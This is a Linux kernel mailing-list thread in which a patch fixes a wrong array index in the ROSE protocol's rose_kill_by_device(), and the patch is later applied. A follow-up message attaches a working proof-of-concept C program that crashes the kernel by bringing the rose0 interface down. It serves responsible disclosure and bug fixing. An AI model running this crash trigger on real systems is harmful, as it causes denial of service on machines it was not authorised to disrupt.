* Re: [PATCH net] net: rose: fix invalid array index in rose_kill_by_device()
2025-12-22 21:22 [PATCH net] net: rose: fix invalid array index in rose_kill_by_device() Sai Ritvik Tanksalkar
@ 2025-12-22 21:27 ` Ritvik Tanksalkar
2025-12-30 10:50 ` patchwork-bot+netdevbpf
1 sibling, 0 replies; 3+ messages in thread
From: Ritvik Tanksalkar @ 2025-12-22 21:27 UTC (permalink / raw)
To: kuba, pabeni
Cc: davem, edumazet, horms, netdev, linux-hams, Pwnverse,
Fatma Alwasmi
[-- Attachment #1.1: Type: text/plain, Size: 1644 bytes --]
Hello,
Apologies for another ping. I forgot to attach the POC (results in crash
under CAP_NET_ADMIN).
Warm Regards,
Ritvik Tanksalkar
On Mon, Dec 22, 2025 at 4:22 PM Sai Ritvik Tanksalkar <
ritviktanksalkar@gmail.com> wrote:
> From: Pwnverse <stanksal@purdue.edu>
>
> rose_kill_by_device() collects sockets into a local array[] and then
> iterates over them to disconnect sockets bound to a device being brought
> down.
>
> The loop mistakenly indexes array[cnt] instead of array[i]. For cnt <
> ARRAY_SIZE(array), this reads an uninitialized entry; for cnt ==
> ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to
> an invalid socket pointer dereference and also leaks references taken
> via sock_hold().
>
> Fix the index to use i.
>
> Fixes: 64b8bc7d5f143 ("net/rose: fix races in rose_kill_by_device()")
> Co-developed-by: Fatma Alwasmi <falwasmi@purdue.edu>
> Signed-off-by: Fatma Alwasmi <falwasmi@purdue.edu>
> Signed-off-by: Pwnverse <stanksal@purdue.edu>
> ---
> net/rose/af_rose.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/rose/af_rose.c b/net/rose/af_rose.c
> index fd67494f2815..c0f5a515a8ce 100644
> --- a/net/rose/af_rose.c
> +++ b/net/rose/af_rose.c
> @@ -205,7 +205,7 @@ static void rose_kill_by_device(struct net_device *dev)
> spin_unlock_bh(&rose_list_lock);
>
> for (i = 0; i < cnt; i++) {
> - sk = array[cnt];
> + sk = array[i];
> rose = rose_sk(sk);
> lock_sock(sk);
> spin_lock_bh(&rose_list_lock);
> --
> 2.43.0
>
>
[-- Attachment #1.2: Type: text/html, Size: 2547 bytes --]
[-- Attachment #2: net_rose_poc.c --]
[-- Type: application/octet-stream, Size: 5882 bytes --]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>
/* ROSE protocol definitions */
#ifndef AF_ROSE
#define AF_ROSE 11
#endif
#ifndef PF_ROSE
#define PF_ROSE AF_ROSE
#endif
#ifndef ARPHRD_ROSE
#define ARPHRD_ROSE 270
#endif
#ifndef ROSE_ADDR_LEN
#define ROSE_ADDR_LEN 5
#endif
#ifndef AX25_ADDR_LEN
#define AX25_ADDR_LEN 7
#endif
/* ROSE address structure */
typedef struct {
unsigned char rose_addr[ROSE_ADDR_LEN];
} rose_address;
/* AX.25 address structure */
typedef struct {
unsigned char ax25_call[AX25_ADDR_LEN];
} ax25_address;
/* ROSE socket address */
struct sockaddr_rose {
sa_family_t srose_family;
rose_address srose_addr;
ax25_address srose_call;
int srose_ndigis;
ax25_address srose_digi;
};
struct full_sockaddr_rose {
sa_family_t srose_family;
rose_address srose_addr;
ax25_address srose_call;
unsigned int srose_ndigis;
ax25_address srose_digis[6];
};
/* Set a ROSE address (10 BCD digits packed into 5 bytes) */
static void set_rose_addr(rose_address *addr)
{
memset(addr, 0, sizeof(*addr));
addr->rose_addr[0] = 0x12;
addr->rose_addr[1] = 0x34;
addr->rose_addr[2] = 0x56;
addr->rose_addr[3] = 0x78;
addr->rose_addr[4] = 0x90;
}
/* Set an AX.25 callsign (6 chars shifted left by 1, + SSID byte) */
static void set_ax25_call(ax25_address *call, const char *str)
{
int i;
memset(call, 0, sizeof(*call));
for (i = 0; i < 6 && str[i]; i++) {
call->ax25_call[i] = str[i] << 1;
}
for (; i < 6; i++) {
call->ax25_call[i] = ' ' << 1;
}
call->ax25_call[6] = 0x60; /* SSID */
}
/* Configure rose0 interface */
static int setup_rose_interface(int bring_up)
{
int sock_fd;
struct ifreq ifr;
sock_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (sock_fd < 0) {
perror("socket for ioctl");
return -1;
}
if (bring_up) {
/* Set the ROSE hardware address on rose0 */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "rose0", IFNAMSIZ - 1);
ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
ifr.ifr_hwaddr.sa_data[0] = 0x12;
ifr.ifr_hwaddr.sa_data[1] = 0x34;
ifr.ifr_hwaddr.sa_data[2] = 0x56;
ifr.ifr_hwaddr.sa_data[3] = 0x78;
ifr.ifr_hwaddr.sa_data[4] = 0x90;
if (ioctl(sock_fd, SIOCSIFHWADDR, &ifr) < 0) {
perror("SIOCSIFHWADDR rose0");
close(sock_fd);
return -1;
}
printf("[+] Set ROSE address on rose0\n");
}
/* Get current flags */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "rose0", IFNAMSIZ - 1);
if (ioctl(sock_fd, SIOCGIFFLAGS, &ifr) < 0) {
perror("SIOCGIFFLAGS rose0");
close(sock_fd);
return -1;
}
if (bring_up) {
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
printf("[+] Bringing rose0 UP\n");
} else {
ifr.ifr_flags &= ~(IFF_UP | IFF_RUNNING);
printf("[+] Bringing rose0 DOWN (this triggers the bug)\n");
}
if (ioctl(sock_fd, SIOCSIFFLAGS, &ifr) < 0) {
perror("SIOCSIFFLAGS rose0");
close(sock_fd);
return -1;
}
close(sock_fd);
return 0;
}
int main(void)
{
int rose_fd;
struct full_sockaddr_rose local_addr;
/* Step 1: Set up rose0 interface with address and bring UP */
printf("[*] Step 1: Setting up rose0 interface...\n");
if (setup_rose_interface(1) < 0) {
fprintf(stderr, "[-] Failed to set up rose0 interface\n");
fprintf(stderr, " Make sure CONFIG_ROSE is enabled and you have root privileges\n");
return 1;
}
/* Step 2: Create ROSE socket */
printf("[*] Step 2: Creating ROSE socket...\n");
rose_fd = socket(AF_ROSE, SOCK_SEQPACKET, 0);
if (rose_fd < 0) {
perror("socket AF_ROSE");
fprintf(stderr, " Make sure CONFIG_ROSE is enabled\n");
return 1;
}
printf("[+] ROSE socket created (fd=%d)\n", rose_fd);
/* Step 3: Bind the socket to rose0's address
* This adds the socket to rose_list with rose->device = dev
*/
printf("[*] Step 3: Binding socket to rose0...\n");
memset(&local_addr, 0, sizeof(local_addr));
local_addr.srose_family = AF_ROSE;
set_rose_addr(&local_addr.srose_addr);
set_ax25_call(&local_addr.srose_call, "TEST0");
local_addr.srose_ndigis = 0;
if (bind(rose_fd, (struct sockaddr *)&local_addr, sizeof(struct sockaddr_rose)) < 0) {
perror("bind ROSE");
close(rose_fd);
return 1;
}
printf("[+] ROSE socket bound to rose0\n");
/* Step 4: Bring rose0 DOWN
*
* This triggers:
* - rose_device_event() with NETDEV_DOWN
* - rose_kill_by_device(dev) is called
* - Our socket is found and added to array[0], cnt becomes 1
* - Loop: for (i = 0; i < 1; i++) { sk = array[1]; ... }
* BUG: Reads array[1] instead of array[0]!
* - array[1] contains garbage/uninitialized stack data
* - lock_sock(sk) crashes with NULL pointer dereference
*/
printf("\n[*] Step 4: Triggering bug by bringing rose0 DOWN...\n");
printf("[!] Expected: Kernel crash in lock_sock() due to array[cnt] bug\n\n");
if (setup_rose_interface(0) < 0) {
fprintf(stderr, "[-] Failed to bring rose0 down\n");
close(rose_fd);
return 1;
}
/* If we reach here, the bug didn't trigger (shouldn't happen) */
printf("[?] Interface brought down - check dmesg for crash\n");
close(rose_fd);
return 0;
}
^ permalink raw reply [flat|nested] 3+ messages in thread* Re: [PATCH net] net: rose: fix invalid array index in rose_kill_by_device()
2025-12-22 21:22 [PATCH net] net: rose: fix invalid array index in rose_kill_by_device() Sai Ritvik Tanksalkar
2025-12-22 21:27 ` Ritvik Tanksalkar
@ 2025-12-30 10:50 ` patchwork-bot+netdevbpf
1 sibling, 0 replies; 3+ messages in thread
From: patchwork-bot+netdevbpf @ 2025-12-30 10:50 UTC (permalink / raw)
To: Ritvik Tanksalkar
Cc: kuba, pabeni, davem, edumazet, horms, netdev, linux-hams,
stanksal, falwasmi
Hello:
This patch was applied to netdev/net.git (main)
by Paolo Abeni <pabeni@redhat.com>:
On Mon, 22 Dec 2025 21:22:27 +0000 you wrote:
> From: Pwnverse <stanksal@purdue.edu>
>
> rose_kill_by_device() collects sockets into a local array[] and then
> iterates over them to disconnect sockets bound to a device being brought
> down.
>
> The loop mistakenly indexes array[cnt] instead of array[i]. For cnt <
> ARRAY_SIZE(array), this reads an uninitialized entry; for cnt ==
> ARRAY_SIZE(array), it is an out-of-bounds read. Either case can lead to
> an invalid socket pointer dereference and also leaks references taken
> via sock_hold().
>
> [...]
Here is the summary with links:
- [net] net: rose: fix invalid array index in rose_kill_by_device()
https://git.kernel.org/netdev/net/c/6595beb40fb0
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply [flat|nested] 3+ messages in thread